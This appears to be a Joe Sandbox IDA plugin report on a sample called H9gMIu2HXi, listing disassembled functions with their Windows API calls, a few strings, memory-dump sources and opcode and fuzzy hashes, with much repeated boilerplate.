Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 4da96f101b1b4e925af7d276d87e112110c54a1001aaa4ca280abb470bfadf76
Instruction ID: 91530ebc4c9b4ed9dcbbc23097e63f342066683b865a91ff572b969a4b35c0b3
Opcode Fuzzy Hash: 4da96f101b1b4e925af7d276d87e112110c54a1001aaa4ca280abb470bfadf76
Instruction Fuzzy Hash: F3519EB6A01605CFEB14CFA8D981BAEBBF0FB88304F24856AC511EB261D3749941DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00A2C365 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00A2C388

Part of subcall function 00A2C3F7: __EH_prolog.LIBCMT ref: 00A2C3FC

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prologVersion
String ID:
API String ID: 1836448879-0
Opcode ID: 6ef6c89ce3d2eb42efdde5ca72220397e15eb0d1ae0d763df93a94667dcf16fc
Instruction ID: c1f9a2d06807dfc0bf491333df9efc5d5461df7c0fcb69222141e0c7e5a614e2
Opcode Fuzzy Hash: 6ef6c89ce3d2eb42efdde5ca72220397e15eb0d1ae0d763df93a94667dcf16fc
Instruction Fuzzy Hash: 03F082309042A88ADF25DB68B80A3DCBBF55B11729F0488E5C1805A192C2F586CBDF72

Uniqueness

Uniqueness Score: -1.00%

Function 00A24A8E Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

gj, xrefs: 00A24B4C

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 8b458404b25e1c33caffb322e86de50759b32c8e1d057f5151f8d609f2e0b862
Instruction ID: 95d33896779235b3065ad2e64dbea2227a1bb8ae175577e1261a7584cc0b496d
Opcode Fuzzy Hash: 8b458404b25e1c33caffb322e86de50759b32c8e1d057f5151f8d609f2e0b862
Instruction Fuzzy Hash: 08C137B2A183818FD754CF29D88065AFBE1BFCD208F19892DE998D7301D734A945CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00A40B9D Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00020BB0,00A40605), ref: 00A40BA2

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8ddddd8faf264743b37d0d418df8722897d1fe0c9e37250081b34b88193d8ff4
Instruction ID: 9dfd23c5dd7609ff6bf66eaae4c196ff1232bd4ccb216aa1b7c94f3a6f5da254
Opcode Fuzzy Hash: 8ddddd8faf264743b37d0d418df8722897d1fe0c9e37250081b34b88193d8ff4
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00A4D1F0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00A4D1F0

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: ab79867a7da1e983a88ef4745cc1c75d7c51f8252e1971a95b318ebdc82ce8f0
Instruction ID: c11a4963f740164bcf49be394f667bc5d2a3a8a029d99684879e9abf9c5b9e72
Opcode Fuzzy Hash: ab79867a7da1e983a88ef4745cc1c75d7c51f8252e1971a95b318ebdc82ce8f0
Instruction Fuzzy Hash: ECA011B0202202CB8300CFB2AA082083AA8BA0A2823008028A088C0220FB2080A28B02

Uniqueness

Uniqueness Score: -1.00%

Function 00A3742E Relevance: .8, Instructions: 807COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49c86cf5dfd120552ca6a330adbc3208c23189e3a77a00f43a99fa3c4c682a92
Instruction ID: 489eef7311c5ee815f852d95eb6f1fc782afc3cdb34fefe77fb9d2409a315a97
Opcode Fuzzy Hash: 49c86cf5dfd120552ca6a330adbc3208c23189e3a77a00f43a99fa3c4c682a92
Instruction Fuzzy Hash: 9662D6B1608B859FCB39CF38C5906BDBBE1AF95304F18856DF99A8B342D734A945CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00A388AF Relevance: .8, Instructions: 781COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a99e5591819f93bed0ea4b7cda3a5de53e9357d52e2d772d63c253c1e4b53f2a
Instruction ID: 240da152286176a960452a53cf2a56d6723aec17224b7ef2e55da9fe895b9075
Opcode Fuzzy Hash: a99e5591819f93bed0ea4b7cda3a5de53e9357d52e2d772d63c253c1e4b53f2a
Instruction Fuzzy Hash: 3B62E371A083459FCB18CF28C5906B9BBE1BF95304F18866DFC998B346DB38E945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00A307A7 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfbf6881d0393643dd25d5cfa1cce131a79b466a846340052269a16c1008f441
Instruction ID: 7f6fd0d863ec4daf2875b2a854f1d824d9ed2fd14565c9489c710de8697eb920
Opcode Fuzzy Hash: dfbf6881d0393643dd25d5cfa1cce131a79b466a846340052269a16c1008f441
Instruction Fuzzy Hash: 19524A72A187018FC718CF19C891A6AF7E1FFCC304F498A2DE5959B255D334EA19CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00A38253 Relevance: .5, Instructions: 528COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f787c4ce50420d944c97ccf420451591fb7dea7718ebf0059b484a6d7d441889
Instruction ID: 3b59df67d61f358fa44330edd0fecb38e2fb9fa561006eaaf8652c21e597e31b
Opcode Fuzzy Hash: f787c4ce50420d944c97ccf420451591fb7dea7718ebf0059b484a6d7d441889
Instruction Fuzzy Hash: 3512D1B16047468FC728CF28C9917B9B7E1FB44304F14892EF99BC7680EB78A995CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00A2D833 Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e8dadc7f591174714af29e43b2b1c22fa64176d11ce3ea3ff4f7026e8c90858
Instruction ID: f2fd0c43188a71b05e20b521255e8cfc05154874ede630b57469e3ddaf551a89
Opcode Fuzzy Hash: 1e8dadc7f591174714af29e43b2b1c22fa64176d11ce3ea3ff4f7026e8c90858
Instruction Fuzzy Hash: 83F1A7716093618FC718CF2CE584A2ABBE5EFC9364F144A2EE4C5DB252D631E946CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00A37DDC Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: f699d9907af1ca96ce3de7e22743596b8bfb97c07d7e08e0a29c7cd9df5e5d03
Instruction ID: 7e27899b765378e86195245ee1d9ea0ee4b53cc330402eec18a38b693a4e126e
Opcode Fuzzy Hash: f699d9907af1ca96ce3de7e22743596b8bfb97c07d7e08e0a29c7cd9df5e5d03
Instruction Fuzzy Hash: 55D194B1A083418FDB24DF28C98475BBBE1BF89308F04466DF8899B242D774E945CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00A2FCCC Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf680b9f1244563d1736b2f75648be11fd097450f8faa89cd99a43d5d1db73cf
Instruction ID: 805699e0df239dcda8c5369ce757b92bc3292b4870ac1399f5bbca80a0208a71
Opcode Fuzzy Hash: cf680b9f1244563d1736b2f75648be11fd097450f8faa89cd99a43d5d1db73cf
Instruction Fuzzy Hash: 3BE16C7551C3908FC304CF59D89056ABBF0BB9A700F4A0A5EF9C587352C739EA16DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00A35282 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc3703b16c3aae3db15c4d448ff6b4734694cd092f9e90ebe0c6dc9e479c305
Instruction ID: 727a5c733fde75941316a20173952fa837a7cf6d052cfd849f33f4bf9d91b0e3
Opcode Fuzzy Hash: fbc3703b16c3aae3db15c4d448ff6b4734694cd092f9e90ebe0c6dc9e479c305
Instruction Fuzzy Hash: 939157B0A00B459BD724EF7CD991BBA77D5EB94300F10092DF59687282EB74E584C751

Uniqueness

Uniqueness Score: -1.00%

Function 00A355B0 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 931725267d3afae2a79d0ebb937372447d19929da5c01f319e552610ee085862
Instruction ID: 32426702bc92b6ceb99560031651154caae9caa2d4c02eb05b46ee536ee3c058
Opcode Fuzzy Hash: 931725267d3afae2a79d0ebb937372447d19929da5c01f319e552610ee085862
Instruction Fuzzy Hash: D3812571B04B419FEB24DB7CD982BBE37D5ABA4304F140D3DF9868B282DB7098858761

Uniqueness

Uniqueness Score: -1.00%

Function 00A464D7 Relevance: .2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffbd74cf56ef2c7d8391022c16a09d964bf19f3bcbea992242fae6d3e84d7ecb
Instruction ID: eb7ecb6d6f29c210e19370c51ee49a596bcc6545dea694abcc59c5d3d48b31cb
Opcode Fuzzy Hash: ffbd74cf56ef2c7d8391022c16a09d964bf19f3bcbea992242fae6d3e84d7ecb
Instruction Fuzzy Hash: A5617DBD70070466DF3C5B689995BBEB3A9DFC3744F20081AE843DF185E651DD868217

Uniqueness

Uniqueness Score: -1.00%

Function 00A462A8 Relevance: .2, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction ID: eb279d10c263f8275e595969dbeef82811127671f95de4ce92023c06458f847b
Opcode Fuzzy Hash: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction Fuzzy Hash: B151787CA00785A7DF388F6886567FE27A59BD7304F18092EE882CF282C654FD459357

Uniqueness

Uniqueness Score: -1.00%

Function 00A302F7 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cfa9c71070b3751736a2e622205b97b3151de0d597ac51fbeaa0e176090b886
Instruction ID: 922a026c4816e62ab723cd325bc8137b90524f1aef67b338c6cd3fd851a8524f
Opcode Fuzzy Hash: 0cfa9c71070b3751736a2e622205b97b3151de0d597ac51fbeaa0e176090b886
Instruction Fuzzy Hash: 3E51A1315093D58FC712CF28C1909AFBFF0AE9A714F4A0999F5D95B242D231DB8ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 00A313FD Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb8c619cb72cdf48328bda3d085b270129c574df6b38a3bd43d50674ed52db70
Instruction ID: 2c66a7d93bef5a3199e1f9cc0f478a0de92fe7d536ebb3c0c7d18fcc8fa7172a
Opcode Fuzzy Hash: eb8c619cb72cdf48328bda3d085b270129c574df6b38a3bd43d50674ed52db70
Instruction Fuzzy Hash: A951DFB1A087119FC748CF19D48055AF7E1FF88314F058A2EF899E3740D734E9598B96

Uniqueness

Uniqueness Score: -1.00%

Function 00A35011 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74cd97078976d413443546a5e6f1c41999260f7e4caf4087a6071dd61f1d0527
Instruction ID: 1795d8cd153b35ec4cf6dbe7acc42246002ebf0ebf2c5884bf63d8784c23395a
Opcode Fuzzy Hash: 74cd97078976d413443546a5e6f1c41999260f7e4caf4087a6071dd61f1d0527
Instruction Fuzzy Hash: 2231E3B1A14B168FC714EF2CD95126ABBE0EB95300F108A2DF496C7742C735E90ACF91

Uniqueness

Uniqueness Score: -1.00%

Function 00A3D884 Relevance: 49.4, APIs: 24, Strings: 4, Instructions: 428windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A3D889

Part of subcall function 00A3C504: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00A3C5EB

_wcslen.LIBCMT ref: 00A3DB4F
_wcslen.LIBCMT ref: 00A3DB58
SetWindowTextW.USER32(?,?), ref: 00A3DBB6
_wcslen.LIBCMT ref: 00A3DBF8
_wcsrchr.LIBVCRUNTIME ref: 00A3DD40
GetDlgItem.USER32(?,00000066), ref: 00A3DD7B
SetWindowTextW.USER32(00000000,?), ref: 00A3DD8B
SendMessageW.USER32(00000000,00000143,00000000,00A7389A), ref: 00A3DD99
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00A3DDC4

Strings

<br>, xrefs: 00A3DB19
Software\Microsoft\Windows\CurrentVersion, xrefs: 00A3DC5F
%s.%d.tmp, xrefs: 00A3DA85
ProgramFilesDir, xrefs: 00A3DC8A

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 2804936435-312220925
Opcode ID: f7fe41aa12786bb781d1e838e47a45475befe4794e0cb6d91f74a8edc6c720dd
Instruction ID: 3521235f0c0658506784d06d80562abd651961d1720ec8c2e00fbf54d8f7e12c
